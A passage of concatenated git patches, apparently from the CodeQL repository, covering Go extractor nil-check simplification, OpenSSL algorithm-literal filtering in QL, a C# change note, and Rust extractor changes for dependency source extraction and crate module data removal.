--git a/go/extractor/extractor.go b/go/extractor/extractor.go index 42ea0527ce85..67c127375847 100644 --- a/go/extractor/extractor.go +++ b/go/extractor/extractor.go @@ -13,6 +13,7 @@ import ( "log" "os" "path/filepath" + "reflect" "regexp" "runtime" "strconv" @@ -941,16 +942,7 @@ func emitScopeNodeInfo(tw *trap.Writer, nd ast.Node, lbl trap.Label) { // extractExpr extracts AST information for the given expression and all its subexpressions func extractExpr(tw *trap.Writer, expr ast.Expr, parent trap.Label, idx int, skipExtractingValue bool) { - if expr == nil || expr == (*ast.Ident)(nil) || expr == (*ast.BasicLit)(nil) || - expr == (*ast.Ellipsis)(nil) || expr == (*ast.FuncLit)(nil) || - expr == (*ast.CompositeLit)(nil) || expr == (*ast.SelectorExpr)(nil) || - expr == (*ast.IndexListExpr)(nil) || expr == (*ast.SliceExpr)(nil) || - expr == (*ast.TypeAssertExpr)(nil) || expr == (*ast.CallExpr)(nil) || - expr == (*ast.StarExpr)(nil) || expr == (*ast.KeyValueExpr)(nil) || - expr == (*ast.UnaryExpr)(nil) || expr == (*ast.BinaryExpr)(nil) || - expr == (*ast.ArrayType)(nil) || expr == (*ast.StructType)(nil) || - expr == (*ast.FuncType)(nil) || expr == (*ast.InterfaceType)(nil) || - expr == (*ast.MapType)(nil) || expr == (*ast.ChanType)(nil) { + if expr == nil || reflect.ValueOf(expr).IsNil() { return } @@ -1247,15 +1239,7 @@ func extractFields(tw *trap.Writer, fields *ast.FieldList, parent trap.Label, id // extractStmt extracts AST information for a given statement and all other statements or expressions // nested inside it func extractStmt(tw *trap.Writer, stmt ast.Stmt, parent trap.Label, idx int) { - if stmt == nil || stmt == (*ast.DeclStmt)(nil) || - stmt == (*ast.LabeledStmt)(nil) || stmt == (*ast.ExprStmt)(nil) || - stmt == (*ast.SendStmt)(nil) || stmt == (*ast.IncDecStmt)(nil) || - stmt == (*ast.AssignStmt)(nil) || stmt == (*ast.GoStmt)(nil) || - stmt == (*ast.DeferStmt)(nil) || stmt == (*ast.BranchStmt)(nil) || - stmt == (*ast.BlockStmt)(nil) || stmt == (*ast.IfStmt)(nil) || - stmt == (*ast.CaseClause)(nil) || stmt == (*ast.SwitchStmt)(nil) || - stmt == (*ast.TypeSwitchStmt)(nil) || stmt == (*ast.CommClause)(nil) || - stmt == (*ast.ForStmt)(nil) || stmt == (*ast.RangeStmt)(nil) { + if stmt == nil || reflect.ValueOf(stmt).IsNil() { return } @@ -1391,7 +1375,7 @@ func extractStmts(tw *trap.Writer, stmts []ast.Stmt, parent trap.Label, idx int, // extractDecl extracts AST information for the given declaration func extractDecl(tw *trap.Writer, decl ast.Decl, parent trap.Label, idx int) { - if decl == (*ast.FuncDecl)(nil) || decl == (*ast.GenDecl)(nil) { + if reflect.ValueOf(decl).IsNil() { return } lbl := tw.Labeler.LocalID(decl) From a36fd2cb31929affc304167d748e9d513ada27ae Mon Sep 17 00:00:00 2001 From: "REDMOND\\brodes" Date: Wed, 21 May 2025 18:15:44 -0400 Subject: [PATCH 282/535] Crypto: Advanced literal filtering for OpenSSL, used for both unknown and known algorithm literals to improve dataflow performance. --- cpp/ql/lib/experimental/quantum/Language.qll | 9 +- .../OpenSSL/AlgorithmCandidateLiteral.qll | 116 ++++++++++++++++++ .../KnownAlgorithmConstants.qll | 34 ++--- .../experimental/quantum/OpenSSL/OpenSSL.qll | 10 +- 4 files changed, 134 insertions(+), 35 deletions(-) create mode 100644 cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmCandidateLiteral.qll diff --git a/cpp/ql/lib/experimental/quantum/Language.qll b/cpp/ql/lib/experimental/quantum/Language.qll index ab3ce039cc5c..c9d3f735322d 100644 --- a/cpp/ql/lib/experimental/quantum/Language.qll +++ b/cpp/ql/lib/experimental/quantum/Language.qll @@ -1,6 +1,7 @@ private import cpp as Language import semmle.code.cpp.dataflow.new.TaintTracking import codeql.quantum.experimental.Model +private import experimental.quantum.OpenSSL.AlgorithmCandidateLiteral module CryptoInput implements InputSig { class DataFlowNode = DataFlow::Node; @@ -89,13 +90,7 @@ module GenericDataSourceFlowConfig implements DataFlow::ConfigSig { module GenericDataSourceFlow = TaintTracking::Global; private class ConstantDataSource extends Crypto::GenericConstantSourceInstance instanceof Literal { - ConstantDataSource() { - // TODO: this is an API specific workaround for OpenSSL, as 'EC' is a constant that may be used - // where typical algorithms are specified, but EC specifically means set up a - // default curve container, that will later be specified explicitly (or if not a default) - // curve is used. - this.getValue() != "EC" - } + ConstantDataSource() { this instanceof OpenSSLAlgorithmCandidateLiteral } override DataFlow::Node getOutputNode() { result.asExpr() = this } diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmCandidateLiteral.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmCandidateLiteral.qll new file mode 100644 index 000000000000..3e2d1d0301bf --- /dev/null +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmCandidateLiteral.qll @@ -0,0 +1,116 @@ +import cpp +private import semmle.code.cpp.models.Models +private import semmle.code.cpp.models.interfaces.FormattingFunction + +/** + * Holds if a StringLiteral could be an algorithm literal. + * Note: this predicate should only consider restrictions with respect to strings only. + * General restrictions are in the OpenSSLAlgorithmCandidateLiteral class. + */ +private predicate isOpenSSLStringLiteralAlgorithmCandidate(StringLiteral s) { + // 'EC' is a constant that may be used where typical algorithms are specified, + // but EC specifically means set up a default curve container, that will later be + //specified explicitly (or if not a default) curve is used. + s.getValue() != "EC" and + // Ignore empty strings + s.getValue() != "" and + // ignore strings that represent integers, it is possible this could be used for actual + // algorithms but assuming this is not the common case + // NOTE: if we were to revert this restriction, we should still consider filtering "0" + // to be consistent with filtering integer 0 + not exists(s.getValue().toInt()) and + // Filter out strings with "%", to filter out format strings + not s.getValue().matches("%\\%%") and + // Filter out strings in brackets or braces + not s.getValue().matches(["[%]", "(%)"]) and + // Filter out all strings of length 1, since these are not algorithm names + s.getValue().length() > 1 and + // Ignore all strings that are in format string calls outputing to a stream (e.g., stdout) + not exists(FormattingFunctionCall f | + exists(f.getOutputArgument(true)) and s = f.(Call).getAnArgument() + ) and + // Ignore all format string calls where there is no known out param (resulting string) + // i.e., ignore printf, since it will just ouput a string and not produce a new string + not exists(FormattingFunctionCall f | + // Note: using two ways of determining if there is an out param, since I'm not sure + // which way is canonical + not exists(f.getOutputArgument(false)) and + not f.getTarget().(FormattingFunction).hasTaintFlow(_, _) and + f.(Call).getAnArgument() = s + ) +} + +/** + * Holds if an IntLiteral could be an algorithm literal. + * Note: this predicate should only consider restrictions with respect to integers only. + * General restrictions are in the OpenSSLAlgorithmCandidateLiteral class. + */ +private predicate isOpenSSLIntLiteralAlgorithmCandidate(Literal l) { + exists(l.getValue().toInt()) and + // Ignore char literals + not l instanceof CharLiteral and + not l instanceof StringLiteral and + // Ignore integer values of 0, commonly referring to NULL only (no known algorithm 0) + // Also ignore integer values greater than 5000 + l.getValue().toInt() != 0 and + // ASSUMPTION, no negative numbers are allowed + // RATIONALE: this is a performance improvement to avoid having to trace every number + not exists(UnaryMinusExpr u | u.getOperand() = l) and + // OPENSSL has a special macro for getting every line, ignore it + not exists(MacroInvocation mi | mi.getExpr() = l and mi.getMacroName() = "OPENSSL_LINE") and + // Filter out cases where an int is returned into a pointer, e.g., return NULL; + not exists(ReturnStmt r | + r.getExpr() = l and + r.getEnclosingFunction().getType().getUnspecifiedType() instanceof DerivedType + ) and + // A literal as an array index should never be an algorithm + not exists(ArrayExpr op | op.getArrayOffset() = l) and + // A literal used in a bitwise operation may be an algorithm, but not a candidate + // for the purposes of finding applied algorithms + not exists(BinaryBitwiseOperation op | op.getAnOperand() = l) and + not exists(AssignBitwiseOperation op | op.getAnOperand() = l) and + //Filter out cases where an int is assigned or initialized into a pointer, e.g., char* x = NULL; + not exists(Assignment a | + a.getRValue() = l and + a.getLValue().getType().getUnspecifiedType() instanceof DerivedType + ) and + not exists(Initializer i | + i.getExpr() = l and + i.getDeclaration().getADeclarationEntry().getUnspecifiedType() instanceof DerivedType + ) and + // Filter out cases where the literal is used in any kind of arithmetic operation + not exists(BinaryArithmeticOperation op | op.getAnOperand() = l) and + not exists(UnaryArithmeticOperation op | op.getOperand() = l) and + not exists(AssignArithmeticOperation op | op.getAnOperand() = l) +} + +/** + * Any literal that may represent an algorithm for use in an operation, even if an invalid or unknown algorithm. + * The set of all literals is restricted by this class to cases where there is higher + * plausibility that the literal is eventually used as an algorithm. + * Literals are filtered, for example if they are used in a way no indicative of an algorithm use + * such as in an array index, bitwise operation, or logical operation. + * Note a case like this: + * if(algVal == "AES") + * + * "AES" may be a legitimate algorithm literal, but the literal will not be used for an operation directly + * since it is in a equality comparison, hence this case would also be filtered. + */ +class OpenSSLAlgorithmCandidateLiteral extends Literal { + OpenSSLAlgorithmCandidateLiteral() { + ( + isOpenSSLIntLiteralAlgorithmCandidate(this) or + isOpenSSLStringLiteralAlgorithmCandidate(this) + ) and + // ********* General filters beyond what is filtered for strings and ints ********* + // An algorithm literal in a switch case will not be directly applied to an operation. + not exists(SwitchCase sc | sc.getExpr() = this) and + // A literal in a logical operation may be an algorithm, but not a candidate + // for the purposes of finding applied algorithms + not exists(BinaryLogicalOperation op | op.getAnOperand() = this) and + not exists(UnaryLogicalOperation op | op.getOperand() = this) and + // A literal in a comparison operation may be an algorithm, but not a candidate + // for the purposes of finding applied algorithms + not exists(ComparisonOperation op | op.getAnOperand() = this) + } +} diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KnownAlgorithmConstants.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KnownAlgorithmConstants.qll index 5e7e16b13dc6..e8cb9bdf5391 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KnownAlgorithmConstants.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KnownAlgorithmConstants.qll @@ -1,5 +1,5 @@ import cpp -private import experimental.quantum.OpenSSL.LibraryDetector +import experimental.quantum.OpenSSL.AlgorithmCandidateLiteral predicate resolveAlgorithmFromExpr(Expr e, string normalizedName, string algType) { resolveAlgorithmFromCall(e, normalizedName, algType) @@ -89,7 +89,6 @@ class KnownOpenSSLEllipticCurveAlgorithmConstant extends KnownOpenSSLAlgorithmCo * alias = "dss1" and target = "dsaWithSHA1" */ predicate resolveAlgorithmFromCall(Call c, string normalized, string algType) { - isPossibleOpenSSLFunction(c.getTarget()) and exists(string name, string parsedTargetName | parsedTargetName = c.getTarget().getName().replaceAll("EVP_", "").toLowerCase().replaceAll("_", "-") and @@ -103,7 +102,9 @@ predicate resolveAlgorithmFromCall(Call c, string normalized, string algType) { * if `e` resolves to a known algorithm. * If this predicate does not hold, then `e` can be interpreted as being of `UNKNOWN` type. */ -predicate resolveAlgorithmFromLiteral(Literal e, string normalized, string algType) { +predicate resolveAlgorithmFromLiteral( + OpenSSLAlgorithmCandidateLiteral e, string normalized, string algType +) { exists(int nid | nid = getPossibleNidFromLiteral(e) and knownOpenSSLAlgorithmLiteral(_, nid, normalized, algType) ) @@ -125,28 +126,15 @@ string resolveAlgorithmAlias(string name) { ) } -private int getPossibleNidFromLiteral(Literal e) { +/** + * Determines if an int literal (NID) is a candidate for being an algorithm literal. + * Checks for common cases where literals are used that would not be indicative of an algorithm. + * Returns the int literal value if the literal is a candidate for an algorithm. + */ +private int getPossibleNidFromLiteral(OpenSSLAlgorithmCandidateLiteral e) { result = e.getValue().toInt() and not e instanceof CharLiteral and - not e instanceof StringLiteral and - // ASSUMPTION, no negative numbers are allowed - // RATIONALE: this is a performance improvement to avoid having to trace every number - not exists(UnaryMinusExpr u | u.getOperand() = e) and - // OPENSSL has a special macro for getting every line, ignore it - not exists(MacroInvocation mi | mi.getExpr() = e and mi.getMacroName() = "OPENSSL_LINE") and - // Filter out cases where an int is assigned into a pointer, e.g., char* x = NULL; - not exists(Assignment a | - a.getRValue() = e and a.getLValue().getType().getUnspecifiedType() instanceof PointerType - ) and - not exists(Initializer i | - i.getExpr() = e and - i.getDeclaration().getADeclarationEntry().getUnspecifiedType() instanceof PointerType - ) and - // Filter out cases where an int is returned into a pointer, e.g., return NULL; - not exists(ReturnStmt r | - r.getExpr() = e and - r.getEnclosingFunction().getType().getUnspecifiedType() instanceof PointerType - ) + not e instanceof StringLiteral } string getAlgorithmAlias(string alias) { diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/OpenSSL.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/OpenSSL.qll index a232ffa6f3a7..eadf1a3e2236 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/OpenSSL.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/OpenSSL.qll @@ -2,9 +2,9 @@ import cpp import semmle.code.cpp.dataflow.new.DataFlow module OpenSSLModel { - import experimental.quantum.Language - import experimental.quantum.OpenSSL.AlgorithmInstances.OpenSSLAlgorithmInstances - import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers - import experimental.quantum.OpenSSL.Operations.OpenSSLOperations - import experimental.quantum.OpenSSL.Random + import AlgorithmInstances.OpenSSLAlgorithmInstances + import AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers + import Operations.OpenSSLOperations + import Random + import AlgorithmCandidateLiteral } From 100045d4cb3a3c80957e1c62f741a9f5d51387b9 Mon Sep 17 00:00:00 2001 From: "REDMOND\\brodes" Date: Wed, 21 May 2025 18:25:29 -0400 Subject: [PATCH 283/535] Crypto: optimizing out the "getPossibleNidFromLiteral" predicate, and now relying on the charpred of OpenSSLAlgorithmCandidateLiteral. --- .../KnownAlgorithmConstants.qll | 15 +-------------- 1 file changed, 1 insertion(+), 14 deletions(-) diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KnownAlgorithmConstants.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KnownAlgorithmConstants.qll index e8cb9bdf5391..59f03264a694 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KnownAlgorithmConstants.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KnownAlgorithmConstants.qll @@ -105,9 +105,7 @@ predicate resolveAlgorithmFromCall(Call c, string normalized, string algType) { predicate resolveAlgorithmFromLiteral( OpenSSLAlgorithmCandidateLiteral e, string normalized, string algType ) { - exists(int nid | - nid = getPossibleNidFromLiteral(e) and knownOpenSSLAlgorithmLiteral(_, nid, normalized, algType) - ) + knownOpenSSLAlgorithmLiteral(_, e.getValue().toInt(), normalized, algType) or exists(string name | name = resolveAlgorithmAlias(e.getValue()) and @@ -126,17 +124,6 @@ string resolveAlgorithmAlias(string name) { ) } -/** - * Determines if an int literal (NID) is a candidate for being an algorithm literal. - * Checks for common cases where literals are used that would not be indicative of an algorithm. - * Returns the int literal value if the literal is a candidate for an algorithm. - */ -private int getPossibleNidFromLiteral(OpenSSLAlgorithmCandidateLiteral e) { - result = e.getValue().toInt() and - not e instanceof CharLiteral and - not e instanceof StringLiteral -} - string getAlgorithmAlias(string alias) { customAliases(result, alias) or From bae16f07ff5ae6c52e93924c5217eaa4f33f8cd9 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Thu, 22 May 2025 08:42:37 +0200 Subject: [PATCH 284/535] C#: Change note. --- .../src/change-notes/2025-05-22-missed-readonly-modifier.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 csharp/ql/src/change-notes/2025-05-22-missed-readonly-modifier.md diff --git a/csharp/ql/src/change-notes/2025-05-22-missed-readonly-modifier.md b/csharp/ql/src/change-notes/2025-05-22-missed-readonly-modifier.md new file mode 100644 index 000000000000..ee3d60fe4ff8 --- /dev/null +++ b/csharp/ql/src/change-notes/2025-05-22-missed-readonly-modifier.md @@ -0,0 +1,4 @@ +--- +category: minorAnalysis +--- +* The precision of the query `cs/missed-readonly-modifier` has been improved. Some false positives related to static fields and struct type fields have been removed. From dd5c48762879d170f7370a52bc6b53d259d970f1 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Thu, 15 May 2025 10:56:39 +0200 Subject: [PATCH 285/535] Rust: extract source files of depdendencies --- rust/extractor/src/main.rs | 69 +++++++++++++++++++++++----- rust/extractor/src/translate.rs | 2 +- rust/extractor/src/translate/base.rs | 35 +++++++++++++- 3 files changed, 93 insertions(+), 13 deletions(-) diff --git a/rust/extractor/src/main.rs b/rust/extractor/src/main.rs index 91f224d657ba..38d113d02dc6 100644 --- a/rust/extractor/src/main.rs +++ b/rust/extractor/src/main.rs @@ -1,6 +1,6 @@ use crate::diagnostics::{ExtractionStep, emit_extraction_diagnostics}; use crate::rust_analyzer::path_to_file_id; -use crate::translate::ResolvePaths; +use crate::translate::{ResolvePaths, SourceKind}; use crate::trap::TrapId; use anyhow::Context; use archive::Archiver; @@ -12,6 +12,7 @@ use ra_ap_paths::{AbsPathBuf, Utf8PathBuf}; use ra_ap_project_model::{CargoConfig, ProjectManifest}; use ra_ap_vfs::Vfs; use rust_analyzer::{ParseResult, RustAnalyzer}; +use std::collections::HashSet; use std::time::Instant; use std::{ collections::HashMap, @@ -47,9 +48,14 @@ impl<'a> Extractor<'a> { } } - fn extract(&mut self, rust_analyzer: &RustAnalyzer, file: &Path, resolve_paths: ResolvePaths) { + fn extract( + &mut self, + rust_analyzer: &RustAnalyzer, + file: &Path, + resolve_paths: ResolvePaths, + source_kind: SourceKind, + ) { self.archiver.archive(file); - let before_parse = Instant::now(); let ParseResult { ast, @@ -71,6 +77,7 @@ impl<'a> Extractor<'a> { line_index, semantics_info.as_ref().ok(), resolve_paths, + source_kind, ); for err in errors { @@ -110,15 +117,27 @@ impl<'a> Extractor<'a> { semantics: &Semantics<'_, RootDatabase>, vfs: &Vfs, resolve_paths: ResolvePaths, + source_kind: SourceKind, ) { - self.extract(&RustAnalyzer::new(vfs, semantics), file, resolve_paths); + self.extract( + &RustAnalyzer::new(vfs, semantics), + file, + resolve_paths, + source_kind, + ); } - pub fn extract_without_semantics(&mut self, file: &Path, reason: &str) { + pub fn extract_without_semantics( + &mut self, + file: &Path, + source_kind: SourceKind, + reason: &str, + ) { self.extract( &RustAnalyzer::WithoutSemantics { reason }, file, ResolvePaths::No, + source_kind, ); } @@ -246,7 +265,7 @@ fn main() -> anyhow::Result<()> { continue 'outer; } } - extractor.extract_without_semantics(file, "no manifest found"); + extractor.extract_without_semantics(file, SourceKind::Source, "no manifest found"); } let cwd = cwd()?; let (cargo_config, load_cargo_config) = cfg.to_cargo_config(&cwd); @@ -255,6 +274,7 @@ fn main() -> anyhow::Result<()> { } else { ResolvePaths::Yes }; + let mut processed_files = HashSet::new(); for (manifest, files) in map.values().filter(|(_, files)| !files.is_empty()) { if let Some((ref db, ref vfs)) = extractor.load_manifest(manifest, &cargo_config, &load_cargo_config) @@ -266,16 +286,43 @@ fn main() -> anyhow::Result<()> { .push(ExtractionStep::crate_graph(before_crate_graph)); let semantics = Semantics::new(db); for file in files { + processed_files.insert((*file).to_owned()); match extractor.load_source(file, &semantics, vfs) { - Ok(()) => { - extractor.extract_with_semantics(file, &semantics, vfs, resolve_paths) + Ok(()) => extractor.extract_with_semantics( + file, + &semantics, + vfs, + resolve_paths, + SourceKind::Source, + ), + Err(reason) => { + extractor.extract_without_semantics(file, SourceKind::Source, &reason) } - Err(reason) => extractor.extract_without_semantics(file, &reason), }; } + for (_, file) in vfs.iter() { + if let Some(file) = file.as_path().map(<_ as AsRef>::as_ref) { + if file.extension().is_some_and(|ext| ext == "rs") + && processed_files.insert(file.to_owned()) + { + extractor.extract_with_semantics( + file, + &semantics, + vfs, + resolve_paths, + SourceKind::Library, + ); + extractor.archiver.archive(file); + } + } + } } else { for file in files { - extractor.extract_without_semantics(file, "unable to load manifest"); + extractor.extract_without_semantics( + file, + SourceKind::Source, + "unable to load manifest", + ); } } } @@ -286,7 +333,7 @@ fn main() -> anyhow::Result<()> { let entry = entry.context("failed to read builtins directory")?; let path = entry.path(); if path.extension().is_some_and(|ext| ext == "rs") { - extractor.extract_without_semantics(&path, ""); + extractor.extract_without_semantics(&path, SourceKind::Library, ""); } } diff --git a/rust/extractor/src/translate.rs b/rust/extractor/src/translate.rs index c74652628f8c..22bb3f4909f9 100644 --- a/rust/extractor/src/translate.rs +++ b/rust/extractor/src/translate.rs @@ -2,4 +2,4 @@ mod base; mod generated; mod mappings; -pub use base::{ResolvePaths, Translator}; +pub use base::{ResolvePaths, SourceKind, Translator}; diff --git a/rust/extractor/src/translate/base.rs b/rust/extractor/src/translate/base.rs index d0e99e8a5b45..43eca8480e46 100644 --- a/rust/extractor/src/translate/base.rs +++ b/rust/extractor/src/translate/base.rs @@ -16,7 +16,7 @@ use ra_ap_ide_db::RootDatabase; use ra_ap_ide_db::line_index::{LineCol, LineIndex}; use ra_ap_parser::SyntaxKind; use ra_ap_span::TextSize; -use ra_ap_syntax::ast::HasName; +use ra_ap_syntax::ast::{Const, Fn, HasName, Static}; use ra_ap_syntax::{ AstNode, NodeOrToken, SyntaxElementChildren, SyntaxError, SyntaxNode, SyntaxToken, TextRange, ast, @@ -93,6 +93,11 @@ pub enum ResolvePaths { Yes, No, } +#[derive(PartialEq, Eq)] +pub enum SourceKind { + Source, + Library, +} pub struct Translator<'a> { pub trap: TrapFile, @@ -102,6 +107,7 @@ pub struct Translator<'a> { file_id: Option, pub semantics: Option<&'a Semantics<'a, RootDatabase>>, resolve_paths: ResolvePaths, + source_kind: SourceKind, } const UNKNOWN_LOCATION: (LineCol, LineCol) = @@ -115,6 +121,7 @@ impl<'a> Translator<'a> { line_index: LineIndex, semantic_info: Option<&FileSemanticInformation<'a>>, resolve_paths: ResolvePaths, + source_kind: SourceKind, ) -> Translator<'a> { Translator { trap, @@ -124,6 +131,7 @@ impl<'a> Translator<'a> { file_id: semantic_info.map(|i| i.file_id), semantics: semantic_info.map(|i| i.semantics), resolve_paths, + source_kind, } } fn location(&self, range: TextRange) -> Option<(LineCol, LineCol)> { @@ -612,6 +620,31 @@ impl<'a> Translator<'a> { } pub(crate) fn should_be_excluded(&self, item: &impl ast::HasAttrs) -> bool { + if self.source_kind == SourceKind::Library { + let syntax = item.syntax(); + if let Some(body) = syntax.parent().and_then(Fn::cast).and_then(|x| x.body()) { + if body.syntax() == syntax { + tracing::debug!("Skipping Fn body"); + return true; + } + } + if let Some(body) = syntax.parent().and_then(Const::cast).and_then(|x| x.body()) { + if body.syntax() == syntax { + tracing::debug!("Skipping Const body"); + return true; + } + } + if let Some(body) = syntax + .parent() + .and_then(Static::cast) + .and_then(|x| x.body()) + { + if body.syntax() == syntax { + tracing::debug!("Skipping Static body"); + return true; + } + } + } self.semantics.is_some_and(|sema| { item.attrs().any(|attr| { attr.as_simple_call().is_some_and(|(name, tokens)| { From f05bed685dded2eb72f31c20fc049fcdb455d42c Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Thu, 15 May 2025 18:49:15 +0200 Subject: [PATCH 286/535] Rust: remove module data from Crate elements --- rust/extractor/src/crate_graph.rs | 1540 +---------------- rust/extractor/src/generated/.generated.list | 2 +- rust/extractor/src/generated/top.rs | 4 - rust/ql/.generated.list | 8 +- rust/ql/lib/codeql/rust/elements/Crate.qll | 1 - .../elements/internal/generated/Crate.qll | 13 - .../rust/elements/internal/generated/Raw.qll | 5 - rust/ql/lib/rust.dbscheme | 6 - rust/schema/prelude.py | 1 - 9 files changed, 13 insertions(+), 1567 deletions(-) diff --git a/rust/extractor/src/crate_graph.rs b/rust/extractor/src/crate_graph.rs index 8122248aba3c..87f8e4e17b41 100644 --- a/rust/extractor/src/crate_graph.rs +++ b/rust/extractor/src/crate_graph.rs @@ -1,46 +1,15 @@ -use crate::{ - generated::{self}, - trap::{self, TrapFile}, -}; -use chalk_ir::FloatTy; -use chalk_ir::IntTy; -use chalk_ir::Scalar; -use chalk_ir::UintTy; +use crate::{generated, trap}; + use itertools::Itertools; use ra_ap_base_db::{Crate, RootQueryDb}; use ra_ap_cfg::CfgAtom; -use ra_ap_hir::{DefMap, ModuleDefId, PathKind, db::HirDatabase}; -use ra_ap_hir::{VariantId, Visibility, db::DefDatabase}; -use ra_ap_hir_def::GenericDefId; -use ra_ap_hir_def::Lookup; -use ra_ap_hir_def::{ - AssocItemId, ConstParamId, LocalModuleId, TypeOrConstParamId, - data::adt::VariantData, - generics::{GenericParams, TypeOrConstParamData}, - item_scope::ImportOrGlob, - item_tree::ImportKind, - nameres::ModuleData, - path::ImportAlias, -}; -use ra_ap_hir_def::{HasModule, visibility::VisibilityExplicitness}; -use ra_ap_hir_def::{ModuleId, resolver::HasResolver}; -use ra_ap_hir_ty::GenericArg; -use ra_ap_hir_ty::ProjectionTyExt; -use ra_ap_hir_ty::TraitRefExt; -use ra_ap_hir_ty::Ty; -use ra_ap_hir_ty::TyExt; -use ra_ap_hir_ty::TyLoweringContext; -use ra_ap_hir_ty::WhereClause; -use ra_ap_hir_ty::from_assoc_type_id; -use ra_ap_hir_ty::{Binders, FnPointer}; -use ra_ap_hir_ty::{Interner, ProjectionTy}; use ra_ap_ide_db::RootDatabase; use ra_ap_vfs::{Vfs, VfsPath}; +use std::hash::Hash; use std::hash::Hasher; use std::{cmp::Ordering, collections::HashMap, path::PathBuf}; -use std::{hash::Hash, vec}; -use tracing::{debug, error}; +use tracing::error; pub fn extract_crate_graph(trap_provider: &trap::TrapFileProvider, db: &RootDatabase, vfs: &Vfs) { let crate_graph = db.all_crates(); @@ -89,16 +58,6 @@ pub fn extract_crate_graph(trap_provider: &trap::TrapFileProvider, db: &RootData continue; } let krate = krate_id.data(db); - let root_module = emit_module( - db, - db.crate_def_map(*krate_id).as_ref(), - "crate", - DefMap::ROOT, - &mut trap, - ); - let file_label = trap.emit_file(root_module_file); - trap.emit_file_only_location(file_label, root_module); - let crate_dependencies: Vec = krate .dependencies .iter() @@ -118,7 +77,6 @@ pub fn extract_crate_graph(trap_provider: &trap::TrapFileProvider, db: &RootData .as_ref() .map(|x| x.canonical_name().to_string()), version: krate_extra.version.to_owned(), - module: Some(root_module), cfg_options: krate_id .cfg_options(db) .into_iter() @@ -129,7 +87,10 @@ pub fn extract_crate_graph(trap_provider: &trap::TrapFileProvider, db: &RootData .map(|dep| trap.emit(dep)) .collect(), }; - trap.emit(element); + let label = trap.emit(element); + let file_label = trap.emit_file(root_module_file); + trap.emit_file_only_location(file_label, label); + trap.commit().unwrap_or_else(|err| { error!( "Failed to write trap file for crate: {}: {}", @@ -141,1491 +102,6 @@ pub fn extract_crate_graph(trap_provider: &trap::TrapFileProvider, db: &RootData } } -fn emit_module( - db: &dyn HirDatabase, - map: &DefMap, - name: &str, - module: LocalModuleId, - trap: &mut TrapFile, -) -> trap::Label { - let module = &map.modules[module]; - let mut items = Vec::new(); - items.extend(emit_module_children(db, map, module, trap)); - items.extend(emit_module_items(db, module, trap)); - items.extend(emit_module_impls(db, module, trap)); - - let name = trap.emit(generated::Name { - id: trap::TrapId::Star, - text: Some(name.to_owned()), - }); - let item_list = trap.emit(generated::ItemList { - id: trap::TrapId::Star, - attrs: vec![], - items, - }); - let visibility = emit_visibility(db, trap, module.visibility); - trap.emit(generated::Module { - id: trap::TrapId::Star, - name: Some(name), - attrs: vec![], - item_list: Some(item_list), - visibility, - }) -} - -fn emit_module_children( - db: &dyn HirDatabase, - map: &DefMap, - module: &ModuleData, - trap: &mut TrapFile, -) -> Vec> { - module - .children - .iter() - .sorted_by(|a, b| Ord::cmp(&a.0, &b.0)) - .map(|(name, child)| emit_module(db, map, name.as_str(), *child, trap).into()) - .collect() -} - -fn emit_reexport( - db: &dyn HirDatabase, - trap: &mut TrapFile, - uses: &mut HashMap>, - import: ImportOrGlob, - name: &str, -) { - let (use_, idx) = match import { - ImportOrGlob::Glob(import) => (import.use_, import.idx), - ImportOrGlob::Import(import) => (import.use_, import.idx), - }; - let def_db = db.upcast(); - let loc = use_.lookup(def_db); - let use_ = &loc.id.item_tree(def_db)[loc.id.value]; - - use_.use_tree.expand(|id, path, kind, alias| { - if id == idx { - let mut path_components = Vec::new(); - match path.kind { - PathKind::Plain => (), - PathKind::Super(0) => path_components.push("self".to_owned()), - PathKind::Super(n) => { - path_components.extend(std::iter::repeat_n("super".to_owned(), n.into())); - } - PathKind::Crate => path_components.push("crate".to_owned()), - PathKind::Abs => path_components.push("".to_owned()), - PathKind::DollarCrate(crate_id) => { - let crate_extra = crate_id.extra_data(db); - let crate_name = crate_extra - .display_name - .as_ref() - .map(|x| x.canonical_name().to_string()); - path_components.push(crate_name.unwrap_or("crate".to_owned())); - } - } - path_components.extend(path.segments().iter().map(|x| x.as_str().to_owned())); - match kind { - ImportKind::Plain => (), - ImportKind::Glob => path_components.push(name.to_owned()), - ImportKind::TypeOnly => path_components.push("self".to_owned()), - }; - - let alias = alias.map(|alias| match alias { - ImportAlias::Underscore => "_".to_owned(), - ImportAlias::Alias(name) => name.as_str().to_owned(), - }); - let key = format!( - "{} as {}", - path_components.join("::"), - alias.as_ref().unwrap_or(&"".to_owned()) - ); - // prevent duplicate imports - if uses.contains_key(&key) { - return; - } - let rename = alias.map(|name| { - let name = Some(trap.emit(generated::Name { - id: trap::TrapId::Star, - text: Some(name), - })); - trap.emit(generated::Rename { - id: trap::TrapId::Star, - name, - }) - }); - let path = make_qualified_path(trap, path_components, None); - let use_tree = trap.emit(generated::UseTree { - id: trap::TrapId::Star, - is_glob: false, - path, - rename, - use_tree_list: None, - }); - let visibility = emit_visibility(db, trap, Visibility::Public); - uses.insert( - key, - trap.emit(generated::Use { - id: trap::TrapId::Star, - attrs: vec![], - use_tree: Some(use_tree), - visibility, - }) - .into(), - ); - } - }); -} - -fn 